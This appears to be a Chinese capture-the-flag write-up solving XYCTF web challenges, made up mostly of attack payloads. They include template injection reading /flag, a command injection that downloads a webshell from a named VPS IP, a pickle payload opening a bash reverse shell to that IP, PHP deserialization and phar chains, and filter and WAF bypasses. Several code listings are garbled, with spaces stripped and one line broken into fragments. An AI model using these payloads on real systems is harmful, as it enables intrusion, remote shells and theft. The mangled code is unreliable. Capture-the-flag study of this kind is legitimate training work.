Web
我是一个复读机
用户名密码:admin/asdqwe
进入以后就是ssti模板注入,但是禁用了{ [ ’ "
后来发现只要输入中文,就可以进行模板注入了
[ 方括号被禁用可以使用__getitem__绕过
双引号单引号被禁用,使用使用request.values.a绕过
http://xyctf.top:45993/index
?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read()
此题的源码
from flask import*import urllib.parse
app = flask(__name__)
app.secret_key ='lzlcnb'# 设置会话密钥,用于加密会话数据@app.route('/', methods=['get','post'])deflogin():if request.method =='post':
username = request.form['username']
password = request.form['password']# 进行登录验证逻辑,如验证用户名密码是否匹配等# 登录验证成功if username=='admin'and password=='asdqwe':
session['username']= username
return redirect('/index')return render_template('login.html')@app.route('/index')defindex():if'username'in session:try:# word=request.args.get('sentence')# if word=="{{}}":# word=none
flag=0
word = request.args.get('sentence')
balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']for i in balck_array:if word!=none and i in word:
word="what are you doing,little hacker"breakif word isnot none:for i inrange(len(word)):iford(word[i])>128:
word='{'+word[0:i]+word[i+1:]+'}'
flag+=1else:
word="what do you want to say"if flag:
word="我只能看懂你说的英文(>﹏<)"+word
if"{{}}"in word:
word = word.replace("{{}}",'{ {}}')
html='''
<!doctype html>
<html>
<head>
<title>我是一个复读机</title>
<style>
body {{
font-family: arial, sans-serif;
background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
background-size: cover;
background-position: center;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}}
form {{
background-color: rgba(255, 255, 255, 0.8);
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
width: 800px;
}}
h2 {{
text-align: center;
color: #333;
}}
label {{
display: block;
margin-top: 10px;
color: #555;
}}
input[type="text"],
input[type="password"] {{
width: 100%;
padding: 8px;
margin-top: 4px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}}
input[type="submit"] {{
width: 100%;
padding: 8px;
margin-top: 10px;
background-color: #007bff;
color: #fff;
border: none;
border-radius: 4px;
cursor: pointer;
}}
input[type="submit"]:hover {{
background-color: #0056b3;
}}
</style>
</head>
<body>
<form action="/index" method="get">
<h2>我的宝,你说什么我就说什么</h2>
<label for="sentence">你想说的话</label>
<input type="text" id="sentence" name="sentence" required>
<input type="submit" value="tell me">
<h2>{}</h2>
</form>
</body>
</html>'''.format(word)return render_template_string(html)except exception as e:return"出现了一点小问题"else:return redirect('/')if __name__ =='__main__':
app.run(host='0.0.0.0',debug=true,port=8080)
ez?Make
禁用字符如下:
/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/
payload使用正则表达式绕过
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort [!b-eh-z][!b-km-z][!b-z][!b-eh-z]
ezMake
直接访问路径/flag,就可以得到flag
牢牢记住,逝者为大
<?phphighlight_file(__FILE__);functionKobe($cmd){if(strlen($cmd)>13){die("see you again~");}if(preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i",$cmd)){die("肘死你");}foreach($_GETas$val_name=>$val_val){if(preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i",$val_val)){return"what can i say";}}return$cmd;}$cmd=Kobe($_GET['cmd']);echo"#man,".$cmd.",manba out";echo"<br>";eval("#man,".$cmd.",mamba out");
绕过注释符,使用回车符
并且这题因为长度的限制,所以无法回显,只能使用反引号
由于使用不了>,所以无法常规的去反弹shell,但是wget命令可以使用,所以我们可以在vps中写入木马文件,然后下载到靶机
payload
http://xyctf.top:46257/?cmd=%0a`$_GET[0]`;%23&0=wget http://60.204.170.160:8989/1.php -O 123.php
warm up
<?phpinclude'next.php';highlight_file(__FILE__);$XYCTF="Warm up";extract($_GET);if(isset($_GET['val1'])&&isset($_GET['val2'])&&$_GET['val1']!=$_GET['val2']&&md5($_GET['val1'])==md5($_GET['val2'])){echo"ez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if(isset($md5)&&$md5==md5($md5)){echo"ezez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if($XY==$XYCTF){if($XY!="XYCTF_550102591"&&md5($XY)==md5("XYCTF_550102591")){echo$level2;}else{die("什么情况,这么基础的md5做不来");}}else{die("学这么久,传参不会传?");}
第一个if也就是正常的弱比较
第二个if无非就是加密前的明文要为0e开头,然后加密后的hash值也是0e开头
第三个if也是弱比较,主要是通过extract变量覆盖去修改两个变量的值
payload
http://xyctf.top:46282/?val1=s1885207154a&val2=s1502113478a&md5=0e215962017&XY=s1885207154a&XYCTF=s1885207154a
得到页面:LLeeevvveeelll222.php
<?phphighlight_file(__FILE__);if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){echo"操作你O.o";echopreg_replace($_GET['a'],$_GET['b'],$_GET['c']);// 我可不会像别人一样设置10来个level}else{die("有点汗流浃背");}
第一层if使用数组绕过
然后就是preg_replace /e命令执行
http://xyctf.top:46282/LLeeevvveeelll222.php?a=/233/e&b=phpinfo()&c=233
post: a[]=1
ezPOP
源代码
<?phperror_reporting(0);highlight_file(__FILE__);classAAA{public$s;public$a;publicfunction__toString(){echo"you get 2 A <br>";$p=$this->a;return$this->s->$p;}}classBBB{public$c;public$d;publicfunction__get($name){echo"you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if(isset($b['a'])){unset($b['a']);}call_user_func($a,$b)($c)($d);}}classCCC{public$c;publicfunction__destruct(){echo"you get 2 C <br>";echo$this->c;}}if(isset($_GET['xy'])){$a=unserialize($_GET['xy']);thrownewException("noooooob!!!");}
首先要先绕过GC垃圾回收机制,不然无法正常反序列化执行destruct魔术方法
使用数组绕过
$a=array($c,0)echoserialize($a);
pop链
<?phpclassAAA{public$s;public$a;}classBBB{public$c;public$d;}classCCC{public$c;}$c=newCCC;$c->c=newAAA;$c->c->s=newBBB;$a=array($c,0);echoserialize($a);
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}
把后面的i:1改成i:0,不然还是无法绕过的
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:0;i:0;}
然后关键的代码就是在
publicfunction__get($name){echo"you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if(isset($b['a'])){unset($b['a']);}call_user_func($a,$b)($c)($d);}
最后一行call_user_func(
a
,
a,
a,b)(
c
)
(
c)(
c)(d);
这个的意思其实也就是将call_user_func执行后的结果传递给下一个函数c进行处理,然后d为函数c的参数
分析传参:
a 为取数组里面的元素
b 是数组,这里面放要处理c的函数
最终payload
http://xyctf.top:46310/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}
post: a=array_shift&b=strrev
最终的目的就是array_shift函数取出数组b里面的第一个元素也就是strrev函数
然后strrev函数会处理temsys,反转过来就是system
最后就是命令执行
ezmd5
上传两个由fastcoll生成的图片
ezhttp
referer绕过
然后得到
登录成功!
你用的不是XYCTF的浏览器
user-agent绕过
登录成功!
非本地用户禁止访问!Client-ip绕过
登录成功!
不是从 ymzx.qq.com 代理来的我不玩
登录成功!
有点饿,想吃点XYCTF的小饼干
登录成功!
恭喜你拿到flag!
XYCTF{3aa4c02c-5f02-433e-84e2-5137245fd057}
ezSerialize
第一层
<?php
classFlag{
public $token;
public $password;}
$a = new Flag();
$a->password =1;
$a->password =&$a->token;
echo serialize($a);
第二层
<?php
classA{
public $mack;}classB{
public $luo;}classC{
public $wang1;}classD{
public $lao;
public $chen;}classE{
public $name ="xxxxx";
public $num;}
$e = new E;
$e->name = new D;
$e->name->lao = new B;
$e->name->lao->luo = new A;
$e->name->lao->luo->mack = new C;
echo serialize($e);
第三层
<?php// flag.phpclassXYCTFNO1{public$Liu;public$T1ng;private$upsw1ng;}classXYCTFNO2{public$crypto0;public$adwa;}classXYCTFNO3{public$KickyMu;public$fpclose;public$N1ght="Crypto0";}$x1=newXYCTFNO3;$x1->KickyMu=newXYCTFNO2;$x1->KickyMu->adwa->crypto0="dev1l";$x1->KickyMu->adwa->T1ng="yuroandCMD258";$x1->N1ght="oSthing";echoserialize($x1);
pharme
<?phpclassevil{public$cmd;public$a;}
@unlink("phar.phar");$phar=newPhar("phar.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub$o=newevil();$o->cmd="eval(end(getallheaders()));__halt_compiler();";$phar->setMetadata($o);//将自定义的meta-data存入manifest$phar->addFromString("test.txt","test");//添加要压缩的文件//签名自动计算$phar->stopBuffering();
然后绕过__HALT_COMPILER();
import gzip
from hashlib import sha1
withopen('phar.phar','rb')asfile:
f =file.read()
s = f[:-28]# 获取要签名的数据
h = f[-8:]# 获取签名类型以及GBMB标识
newf = s + sha1(s).digest()+ h # 数据 + 签名 + (类型 + GBMB)#print(newf)
newf = gzip.compress(newf)#对Phar文件进行gzip压缩withopen('newquanqi.png','wb')asfile:#更改文件后缀file.write(newf)
连连看到底是连连什么看
<?phphighlight_file(__FILE__);error_reporting(0);$p=$_GET['p'];if(preg_match("/http|=|php|file|:|\/|\?/i",$p)){die("waf!");}$payload="php://filter/$p/resource=/etc/passwd";if(file_get_contents($payload)==="XYCTF"){echofile_get_contents('/flag');}
php_filter_chain这个工具直接生成
python3 php_filter_chain_generator.py --chain 'XYCTF<'
然后复制下payload之后,使用string.strip.tag过滤器绕过
为什么可以绕过,这是因为
string.strip_tags等同于strip_tags(),去除html、PHP语言标签
下面有一个实例
ezRCE
<?phphighlight_file(__FILE__);functionwaf($cmd){$white_list=['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];$cmd_char=str_split($cmd);foreach($cmd_charas$char){if(!in_array($char,$white_list)){die("really ez?");}}return$cmd;}$cmd=waf($_GET["cmd"]);system($cmd);
只能有数字,并且是system直接执行
可以使用八进制进行绕过,但要注意八进制不能加参数
$'\154\163'ls
$'\143\141\164'<$'\57\146\154\141\147' cat /flag
ezClass
<?phphighlight_file(__FILE__);$a=$_GET['a'];$aa=$_GET['aa'];$b=$_GET['b'];$bb=$_GET['bb'];$c=$_GET['c'];((new$a($aa))->$c())((new$b($bb))->$c());
意思也就是,让我们使用两个原生类,将第一个原生类的结果丢给后面的原生类进行处理
太麻烦了,一个原生类就够了
a=SplFileObject&aa=/flag&c=fgets
这个方法读取文件内容有限,只能显示第一个行,但是读取flag文件足矣了
login
import pickle
import base64
# class pay(object):# def __reduce__(self):# return (eval,("print(123)",))# a = pickle.dumps(pay())# a = base64.b64encode(a)
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'
o.'''# print(pickle.dumps(c))# print(a)print(base64.b64encode(c))
εZ?¿м@Kε¿?
hint.php内容
/^[$|\(|\)|\@|\[|\]|\{|\}|\<| \>|\-]+$/
我们只能输入这个正则里面的符号,通过对makefile的理解
这题是借用makefile的自动变量可以读取到flag的内容
https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html
得到如下的payload
$$(<$<)
give me flag
hash长度扩展攻击
<?phpinclude('flag.php');$FLAG_md5=md5($FLAG);if(!isset($_GET['md5'])||!isset($_GET['value'])){highlight_file(__FILE__);die($FLAG_md5);}$value=$_GET['value'];$md5=$_GET['md5'];$time=time();if(md5($FLAG.$value.$time)===$md5){echo"yes, give you flag: ";echo$FLAG;}
f6ab6309f305e0f1b61cbec905c4c01f
拿已知的md5值,加上预定的时间戳
然后抓包bp,value填入长度为43的明文,再传入新的md5
这题多少有点圣经,很容易跑崩,懒得复现了
版权归原作者 Ten^v^ 所有, 如有侵权,请联系我们删除。